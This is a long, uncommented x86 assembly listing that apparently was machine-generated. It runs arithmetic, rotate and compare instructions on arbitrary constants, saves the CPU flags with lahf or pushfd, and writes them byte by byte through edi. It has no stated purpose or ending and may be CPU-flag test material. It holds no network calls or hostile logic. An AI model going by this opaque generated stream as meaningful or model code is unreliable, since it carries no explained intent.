mov ebx, 0x44336bb
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0xd1d88287
mov eax, 0x59311ad4
sub ecx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x3552465e
mov ecx, 0xf5ddfed6
sar ebx, cl
mov ebx, 0x5b7f1fae
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x214e123f
mov ecx, 0x6449b850
ror ebx, cl
mov ecx, 0x45aa9f0
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xc4b2508a
mov ecx, 0xa6bdc668
rol eax, cl
mov ebx, 0x187b6bc1
inc ebx
mov eax, 0xb92d9af5
mov ecx, 0x44457eb
ror eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xb7ba6ca0
rol eax, 1
mov ebx, 0xe7e3efeb
dec ebx
mov ebx, 0x6c36f6f1
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x20970a8
add eax, 0xcc0e041d
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x4ee6c3cb
mov ecx, 0xe941b550
ror edx, cl
mov eax, 0x440aa57
mov ecx, 0x13c3a3f3
rol eax, cl
mov ecx, 0x6ce8e9d9
mov eax, 0x3f01f432
cmp ecx, eax
mov eax, 0xe232e9fc
aas
mov eax, 0x85bc1ccc
rol eax, 1
mov edx, 0xc5cb82a0
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x10f2c7f9
mov ecx, 0x7bfdbf2b
rol edx, cl
mov ebx, 0x6316d3bc
mov edx, 0x1497c66b
sub ebx, edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe9dd3e7
sal ebx, 1
mov ebx, 0x269350c0
dec ebx
mov eax, 0x3fe853ed
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x16fbcf98
dec eax
mov eax, 0xa8c42839
mov ecx, 0x27d7f6c7
ror eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xcaf4183a
mov ebx, 0xf21d2796
cmp eax, ebx
mov eax, 0x6fded3f7
aaa
mov eax, 0x1e53fbc8
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xe39a9399
rol ebx, 1
mov ebx, 0xc2fd625b
mov ecx, 0xd354257e
ror ebx, cl
mov edx, 0x54b55135
mov ecx, 0x38ec7811
ror edx, cl
mov ebx, 0x397d954
mov ecx, 0xae16d407
ror ebx, cl
mov ecx, 0xce8f326d
cmp ecx, 0xb51cff4a
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x8bb4c6ae
mov ecx, 0x87e6a7
rol edx, cl
mov ebx, 0x797f9fa5
rol ebx, 1
mov edx, 0x197719eb
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x774e4c29
rol edx, 1
mov ebx, 0x4e670f9f
mov ecx, 0x2226cdb9
ror ebx, cl
mov eax, 0x6a038048
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x3c98252c
mov ecx, 0x167b5c63
rol eax, cl
mov ebx, 0x8a44fbf4
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xdddca4c8
mov ebx, 0xaee5d147
cmp ecx, ebx
mov eax, 0xab8649f4
aaa
mov ebx, 0xd59d5f65
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x760c686d
mov ecx, 0x3d3f21b0
ror ebx, cl
mov edx, 0x95377a92
mov ecx, 0x236de05
ror edx, cl
mov eax, 0x4d341e82
rol eax, 1
mov eax, 0xe01eebc8
mov ecx, 0x9c594221
rol eax, cl
mov eax, 0x8ce42cef
rol eax, 1
mov ecx, 0xa24edff0
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xad2677da
mov eax, 0x7d673a41
sub ecx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2c1ab230
dec edx
mov ebx, 0x15bea658
mov ecx, 0xa479d37b
rol ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x50fc046
sub ecx, 0xe99cebf4
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xae5d4ad2
mov eax, 0xc3d285c2
cmp ebx, eax
mov eax, 0x4fffa138
aaa
mov edx, 0x4c15b172
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x530b087e
cmp edx, 0xe5e82098
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x352efc70
neg edx
mov eax, 0x56e16aa2
aaa
mov ecx, 0x1463c1e8
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x50fd9430
dec ecx
mov edx, 0xb4bb3b1e
mov ecx, 0x9d4af49f
ror edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xcff0f01e
mov ecx, 0x3365f1
ror eax, cl
mov ebx, 0x5e87ff00
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x941350ca
cmp eax, 0x6507911
mov eax, 0x377cd888
aas
mov edx, 0x705aa993
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x104407ae
sub ecx, 0xd52d26a9
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xa1c8e296
inc edx
mov ebx, 0x63e3187a
mov ecx, 0x7012377d
ror ebx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x6af6b4ec
mov eax, 0xaef74184
add ebx, eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x43e75989
rol eax, 1
mov ecx, 0xbd00bfbf
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xcb48dfda
shl eax, 1
mov ecx, 0x38199bb0
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x96782b7b
mov ecx, 0x2bdbe412
ror ebx, cl
mov eax, 0xb3bb871a
cmp eax, 0xb0d826c3
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xc7038b1e
mov ecx, 0xebb2bb76
rol ebx, cl
mov ecx, 0x76f3a34f
dec ecx
mov edx, 0x8f4fce60
rol edx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x2b12257e
mov ecx, 0x2a9d74ca
rol eax, cl
mov ebx, 0xd399d8a3
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x5cd1d1a3
neg eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xb8c5f0fb
shl ebx, 1
mov edx, 0xd6344a4f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd10b8508
sal eax, 0xca
mov ecx, 0x7e94cc7a
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xd7dfc4bf
rol ebx, 1
mov eax, 0xcb4dfc
rol eax, 1
mov ecx, 0x37f28be2
inc ecx
mov eax, 0x43d819ed
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xda753445
mov edx, 0xda0a35cb
cmp ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x47e0445f
mov ecx, 0xa1e39de9
sal eax, cl
mov ebx, 0xe4a54cb0
rol ebx, 1
mov eax, 0x2824f6a0
dec eax
mov edx, 0x638e3c7a
mov ecx, 0x478927c2
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xb1bb2826
mov eax, 0xd6d8d442
cmp ebx, eax
mov eax, 0x886dd3dc
aas
mov ebx, 0x117b5242
cmp ebx, 0x1b98e797
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xfc292714
mov ecx, 0xc5b002d9
ror edx, cl
mov edx, 0x6093f992
mov ecx, 0xb1824619
ror edx, cl
mov edx, 0xd460b773
rol edx, 1
mov ebx, 0x4dea3175
mov ecx, 0x31d5085f
rol ebx, cl
mov eax, 0xe166728d
cmp eax, 0x3ca73bfa
mov eax, 0xd25085e2
sub eax, 0x1c491788
lahf
mov byte [edi], ah
inc edi
mov edx, 0xb81d852
mov ecx, 0x9b68e39e
ror edx, cl
mov ebx, 0x87d337a1
shl ebx, 1
mov eax, 0x4c3cda0e
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x54274018
mov ecx, 0xa6e6ad7f
ror eax, cl
mov ebx, 0xa11f7039
dec ebx
mov eax, 0x5cb18392
mov ecx, 0xb358ca35
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x5d4b38f4
mov ecx, 0xc328e77a
add ebx, ecx
mov eax, 0x9f6cddbb
aas
mov eax, 0xa5a95e66
mov ecx, 0x25304a2a
sar eax, cl
mov ebx, 0x8cb5a936
rol ebx, 1
mov ebx, 0xce138d80
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x205ebc4
neg eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xcae397c
mov eax, 0x9a4f4242
sub ecx, eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xd9daccc
inc ecx
mov edx, 0x535586d0
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe3c218d2
rol eax, 1
mov eax, 0x923c335d
mov ecx, 0x6c2f9afb
ror eax, cl
mov eax, 0xecd4b05b
rol eax, 1
mov eax, 0x82becb34
mov ecx, 0xa5797b81
rol eax, cl
mov edx, 0xdee978d9
mov eax, 0x176e67e5
sub edx, eax
mov ecx, 0xda654de1
mov edx, 0xf33a88d2
add ecx, edx
mov eax, 0x1933e647
mov ecx, 0x68a2ba81
rol eax, cl
mov ebx, 0x6d5adadf
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x8103f3ff
rol ebx, 1
mov eax, 0x4b6b9931
mov ebx, 0xe6c8beb9
sub eax, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1d995aa1
mov ecx, 0xc6e045c4
rol eax, cl
mov eax, 0xe55b345f
rol eax, 1
mov ebx, 0x5ec2f0c0
mov ecx, 0x1f0d658b
rol ebx, cl
mov edx, 0xe127791f
mov ecx, 0x47e600e9
rol edx, cl
mov eax, 0xce1f1705
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6217d52d
sal ebx, 1
mov ebx, 0x32f1521e
sal ebx, 1
mov eax, 0xd2e63379
mov ecx, 0xfd415c56
rol eax, cl
mov edx, 0xf37e70b1
cmp edx, 0x40df8569
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x10ad7564
rol eax, 1
mov ecx, 0x53600063
mov edx, 0xf01949f1
cmp ecx, edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xba24b871
dec ebx
mov edx, 0x54905622
mov ecx, 0x335377b3
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xde7705ab
rol eax, 1
mov ecx, 0xbf03e87f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc9f126ae
rol edx, 1
mov eax, 0x7272a3da
rol eax, 1
mov ebx, 0xddca3061
mov ecx, 0x9535fca6
rol ebx, cl
mov edx, 0xe5ff22bf
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc3fc15bf
mov ecx, 0x4cef8324
shl edx, cl
mov eax, 0x648a898f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x43ae812
add edx, 0xa8eb4bd1
mov eax, 0x461d9c68
aas
mov eax, 0x27198ec8
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x56a7e4b1
shl edx, 1
mov eax, 0x393e42cf
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x32167937
mov ecx, 0x9b31201e
rol ebx, cl
mov ebx, 0xa9257f64
neg ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xd7ddd85f
mov ecx, 0xafb4ca24
ror edx, cl
mov eax, 0x229b0c94
dec eax
mov edx, 0x724dd42b
mov ecx, 0x6de4c32d
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x8d684e65
mov ecx, 0xe88b037e
ror ebx, cl
mov edx, 0x2bd128b8
mov ecx, 0xcaf81562
ror edx, cl
mov eax, 0x8a56d62b
mov ecx, 0x2c715fc8
rol eax, cl
mov ebx, 0xd1d43f5
mov edx, 0x9b921ac3
add ebx, edx
mov edx, 0x244c69aa
sub edx, 0xcc953348
mov ebx, 0x13ca6b53
mov ecx, 0xe335b062
rol ebx, cl
mov edx, 0x43edad89
mov ecx, 0x204e13f
rol edx, cl
mov ebx, 0xee00d12e
mov ecx, 0x8c839675
ror ebx, cl
mov eax, 0xa0db25bf
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x505389ff
rol eax, 1
mov eax, 0xf3e0d85
sal eax, 1
mov ecx, 0xa8bb32a6
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x1e142086
mov ecx, 0x16bd0dbd
sub edx, ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x8ef1aec8
sub ecx, 0x7ad64658
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xeae0644
mov ecx, 0x2b294e89
rol ebx, cl
mov eax, 0x66ba571
aas
mov ebx, 0x45e03ef6
mov ecx, 0x3099c366
add ebx, ecx
mov eax, 0x336a5de8
aas
mov edx, 0x59d1acb4
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x487dd346
mov ecx, 0xfed47411
sar edx, cl
mov eax, 0x8c21852d
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xf5c77f6a
add edx, 0x77f47657
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xcdc0b75c
mov ebx, 0x4af93bb4
cmp ecx, ebx
mov ecx, 0x668a61b
dec ecx
mov eax, 0xafb2baf5
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x1d4f995
mov ecx, 0xfb27a722
shl eax, cl
mov ecx, 0x552b60c0
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x8f2e97c9
mov ecx, 0x5da921aa
ror edx, cl
mov ebx, 0x2b65e722
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xe1ac6c15
sal ebx, 1
mov eax, 0x9d0946f
inc eax
mov ebx, 0x17a698a1
mov ecx, 0x5d017fb1
rol ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xb6564534
rol eax, 1
mov ecx, 0x3aad532e
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xf9cf63b2
aas
mov edx, 0x554845c1
mov ecx, 0x63eb8c0f
rol edx, cl
mov eax, 0xda664889
mov ecx, 0x41a7b421
cmp eax, ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xbad87fad
mov ecx, 0xa5bbac9e
sar edx, cl
mov ecx, 0xdc6d2074
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x65a19b16
rol edx, 1
mov edx, 0x6a76fc5d
mov ecx, 0xf911f152
ror edx, cl
mov edx, 0x86b9425f
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xd34b4132
inc ebx
mov ebx, 0x1d7dd7d1
mov ecx, 0x7d49d5f
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd9b17621
sal ebx, 0x91
mov eax, 0xb32123
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x6f7ac3a5
mov ecx, 0x9fa5053b
ror ebx, cl
mov edx, 0x3fff2751
sar edx, 0x8b
mov ecx, 0xde64e140
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x26ef43c0
mov ecx, 0x67ce6fbb
ror ebx, cl
mov ebx, 0xba00e0f3
mov edx, 0x6239e672
cmp ebx, edx
mov eax, 0x68a3b65
aaa
mov ecx, 0x1565995
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x38603584
mov ebx, 0x71190cb9
add eax, ebx
mov eax, 0x2a51d41f
aas
mov eax, 0x744254ef
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xf4163456
inc eax
mov edx, 0x6feecbf0
mov ecx, 0x49695011
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4520c9d9
add edx, 0x5ed9bb52
mov edx, 0xd42878d3
sar edx, 0xb3
mov eax, 0xceff54e0
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x9ef7758b
mov ecx, 0x1af609f9
rol eax, cl
mov edx, 0x7e32ad2d
shl edx, 0x64
mov edx, 0xfb48370f
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xa3631e5d
mov ecx, 0xfd9208ef
rol eax, cl
mov ecx, 0x41510ec9
inc ecx
mov edx, 0xa18d7f0f
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x41bc9c8d
rol eax, 1
mov edx, 0x20c1010c
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x91ec6d82
mov ecx, 0xdc9fe87a
rol edx, cl
mov eax, 0x2b8fc95a
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xfd878921
mov ecx, 0x99c6032a
rol edx, cl
mov ebx, 0x271109c9
mov eax, 0x76fcb3
sub ebx, eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x9d6f5eb4
rol ebx, 1
mov ebx, 0x650d6d38
rol ebx, 1
mov ebx, 0x26102172
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xcea7c91a
mov ecx, 0x7b66886d
rol ebx, cl
mov ecx, 0x5331097b
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb898ca9f
sub edx, 0x18f14dd0
mov eax, 0x506209d5
aaa
mov eax, 0xbae59331
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xb8472fcd
aaa
mov edx, 0x2755b060
sal edx, 1
mov edx, 0x86be934f
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x9db35903
mov ecx, 0x2f22cd03
rol eax, cl
mov ebx, 0x54a5a00f
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8934c494
mov ecx, 0x84076398
rol eax, cl
mov ebx, 0xcacc05ab
shl ebx, 0xd3
mov eax, 0xc3da14d0
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x89f4c210
neg ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x6f519b51
inc ecx
mov edx, 0x87bc0568
mov ecx, 0xc7aff22a
ror edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x1254bf20
rol edx, 1
mov ecx, 0x5e20923c
mov edx, 0x3d99522
cmp ecx, edx
mov eax, 0xd1385e83
aaa
mov ecx, 0x3d052e12
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xf503d290
mov ecx, 0x11b2f9bd
rol edx, cl
mov ecx, 0x7175dbf5
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3a4106ad
mov ecx, 0x4d282a42
ror ebx, cl
mov ebx, 0x213b15a3
sal ebx, 1
mov edx, 0x7bed6dc9
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xa59cdddb
rol ebx, 1
mov ecx, 0xf8a33627
add ecx, 0xb7a0edd8
mov eax, 0xadcc32a1
aaa
mov edx, 0x7bf672c1
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x90c9d393
rol eax, 1
mov ebx, 0x9eda89f5
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xe5dfb3a2
sub edx, 0x22c87e0
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x1eeb9849
mov ecx, 0x923a0285
sal ebx, cl
mov eax, 0x20163b5c
mov ecx, 0x81319d2a
rol eax, cl
mov eax, 0x4ebd9fe7
mov ecx, 0x36140496
ror eax, cl
mov edx, 0xed5f5748
mov ecx, 0x81fe39ca
ror edx, cl
mov ecx, 0x4c44c3bd
sub ecx, 0x612d456e
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x88e52dd7
mov ecx, 0xdfdcc0a7
rol edx, cl
mov edx, 0x1647fc15
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xfa0de577
mov ecx, 0x9dc2f553
add ebx, ecx
mov eax, 0x9e680239
cmp eax, 0x52816d3c
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x6cfee53a
mov ecx, 0xd0b9f61f
ror ebx, cl
mov ecx, 0x71989745
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x416264e5
inc eax
mov eax, 0x11aee95a
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb69d8d79
mov ecx, 0xd1747593
ror eax, cl
mov ebx, 0x163f107d
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x3f36df60
mov ecx, 0x28d1597d
rol eax, cl
mov ebx, 0x1f3c567a
mov ecx, 0xd2f8fae
ror ebx, cl
mov ebx, 0x4d4bba98
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x12f4c25f
mov ecx, 0x1cc77cb4
rol ebx, cl
mov ecx, 0x564219e0
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x78454db0
mov ecx, 0x70bcb15b
ror edx, cl
mov edx, 0x1b54a767
inc edx
mov edx, 0x279f75f1
rol edx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xb6163526
rol edx, 1
mov edx, 0xb1f0398f
rol edx, 1
mov eax, 0x33529e5f
mov ecx, 0x2bdd2e65
rol eax, cl
mov edx, 0x329e0519
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x91e42734
mov ecx, 0x81771be5
rol ebx, cl
mov ebx, 0xdc8b8b95
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x58012a1
shl eax, 0x8b
mov eax, 0x5c2f5f00
mov ecx, 0xc23cca97
add eax, ecx
mov ecx, 0x4fef4805
mov eax, 0xafcca78
add ecx, eax
mov ebx, 0xa523e892
mov ecx, 0xee523c34
rol ebx, cl
mov eax, 0xc84cb310
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3d12d72a
mov edx, 0xace34983
cmp ebx, edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xcb88715c
rol edx, 1
mov ebx, 0xef07547f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xb7ff24dd
sub ecx, 0x39cc4eb1
mov edx, 0x1aebc1bc
mov ecx, 0xfe3a0636
ror edx, cl
mov ecx, 0x119064d2
mov edx, 0x8a89142b
add ecx, edx
mov edx, 0x479599be
dec edx
mov ebx, 0x5f774992
mov ecx, 0x8d76ffd8
rol ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x4005c941
sar ebx, 0x97
mov eax, 0x4026365d
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xf5b9d429
mov ecx, 0x6b80c647
ror edx, cl
mov eax, 0x7ff31d48
sar eax, 0x21
mov edx, 0x24e51ef3
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x48a45f75
sal edx, 1
mov eax, 0x6c28456a
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x98402a94
mov ecx, 0x77c3b71a
ror eax, cl
mov ecx, 0x1c3b8631
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x7a0bc613
mov ecx, 0xe5da6f21
shl eax, cl
mov ebx, 0x56325ae7
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x758cc7c8
mov ecx, 0xe4d59a72
cmp edx, ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd98d9223
aaa
mov eax, 0x158e3612
mov ecx, 0x81898301
rol eax, cl
mov ecx, 0x84f26277
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x998b8e31
shl eax, 1
mov eax, 0xbd9849df
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x5ef382fc
mov ecx, 0x2d62dccd
rol eax, cl
mov eax, 0x5ce0d079
inc eax
mov ebx, 0xab0ef274
mov ecx, 0xfd095ea2
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xde6ac3f
inc ecx
mov ebx, 0x2272b5de
mov ecx, 0xe37d871b
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x8dcaa92b
mov ecx, 0x535f8c9
ror ebx, cl
mov eax, 0xac047243
rol eax, 1
mov edx, 0x779c3622
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x4d07b16d
rol eax, 1
mov ebx, 0xf1a9baaf
rol ebx, 1
mov eax, 0x2ce16733
inc eax
mov edx, 0x9092cdfc
mov ecx, 0xb61d4f54
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x8bd57bb5
rol edx, 1
mov eax, 0x81b78245
aaa
mov ebx, 0x46a77484
dec ebx
mov edx, 0xa6431c24
mov ecx, 0xbff22bf7
ror edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x5b4aaa2b
inc edx
mov edx, 0xe216954b
mov ecx, 0xb3161d8
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xef69e403
mov ecx, 0x7df02fab
ror eax, cl
mov ebx, 0x30471b8b
mov ecx, 0xdf868501
shl ebx, cl
mov edx, 0x28d46b20
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xeb1f936e
mov eax, 0xbe6c4ad7
cmp ecx, eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x7220e0b
mov ecx, 0xaced69ef
rol edx, cl
mov ebx, 0x587ade1a
mov ecx, 0x8ca5283e
rol ebx, cl
mov ebx, 0xab5d4f22
mov ecx, 0xa13454a8
rol ebx, cl
mov ecx, 0x5fb8f989
cmp ecx, 0x191daf8
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x51c9a9a0
dec eax
mov eax, 0x9e75eaa
mov ecx, 0x9ba65693
ror eax, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xb72ca927
sal eax, 1
mov eax, 0x5e667ea0
cmp eax, 0x75a7afef
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x729faca3
rol edx, 1
mov ebx, 0x2d169bf3
rol ebx, 1
mov ebx, 0x9913c720
neg ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x895ae5e0
mov ecx, 0x7505ba2d
ror eax, cl
mov ecx, 0xd4dc4bc0
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xe72fe1bf
inc ebx
mov ebx, 0xe5285af8
rol ebx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xc3caed9c
sal ebx, 1
mov ecx, 0x3204e5bb
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x2434eed1
shl eax, 1
mov eax, 0x63f7cd8e
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x76da01cc
sal ebx, 1
mov edx, 0x38e7d9ea
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xbcf5a25b
mov ecx, 0x1a2c942b
ror eax, cl
mov ebx, 0x82c49e74
rol ebx, 1
mov eax, 0xdfa9bd78
aaa
mov edx, 0x36c72626
mov ecx, 0x24f4c7e0
cmp edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3e513290
mov ecx, 0x9778af1d
rol eax, cl
mov ecx, 0x6e8d84c9
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x31d8517a
shl ebx, 0x86
mov ecx, 0x376d76a5
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2c0e7da3
inc edx
mov edx, 0xfb1a2d69
mov ecx, 0x95c5d292
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xb1d0eaf
sub ecx, 0xc1928b58
mov eax, 0xdf8f8c6f
rol eax, 1
mov eax, 0xd50e090
dec eax
mov edx, 0x3f5a8382
mov ecx, 0x4305e30c
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3d47ac40
dec ebx
mov eax, 0x66e396b9
mov ecx, 0x9f12091a
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xcf5b1a9a
mov ecx, 0xfe6a0aa6
ror edx, cl
mov ecx, 0x39e60e29
mov ebx, 0xeb27c515
sub ecx, ebx
mov eax, 0x9740de8d
aas
mov eax, 0x392434a9
cmp eax, 0x7c8d514e
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x96bb96fa
add edx, 0x57d8b241
mov edx, 0x2e67aa25
mov ecx, 0x8226892a
ror edx, cl
mov eax, 0x400d5a1d
aas
mov ebx, 0x6eccb10a
mov ecx, 0xa0ff22b6
ror ebx, cl
mov ebx, 0xecce4560
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1b393167
sar eax, 0x53
mov ecx, 0xf8719353
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x854dd675
mov ecx, 0x6802c535
add edx, ecx
mov eax, 0xcebc5d9b
mov ecx, 0xcaaf1f92
ror eax, cl
mov ebx, 0xdff9da2c
mov ecx, 0x96c09ab6
sal ebx, cl
mov eax, 0x10b27fd7
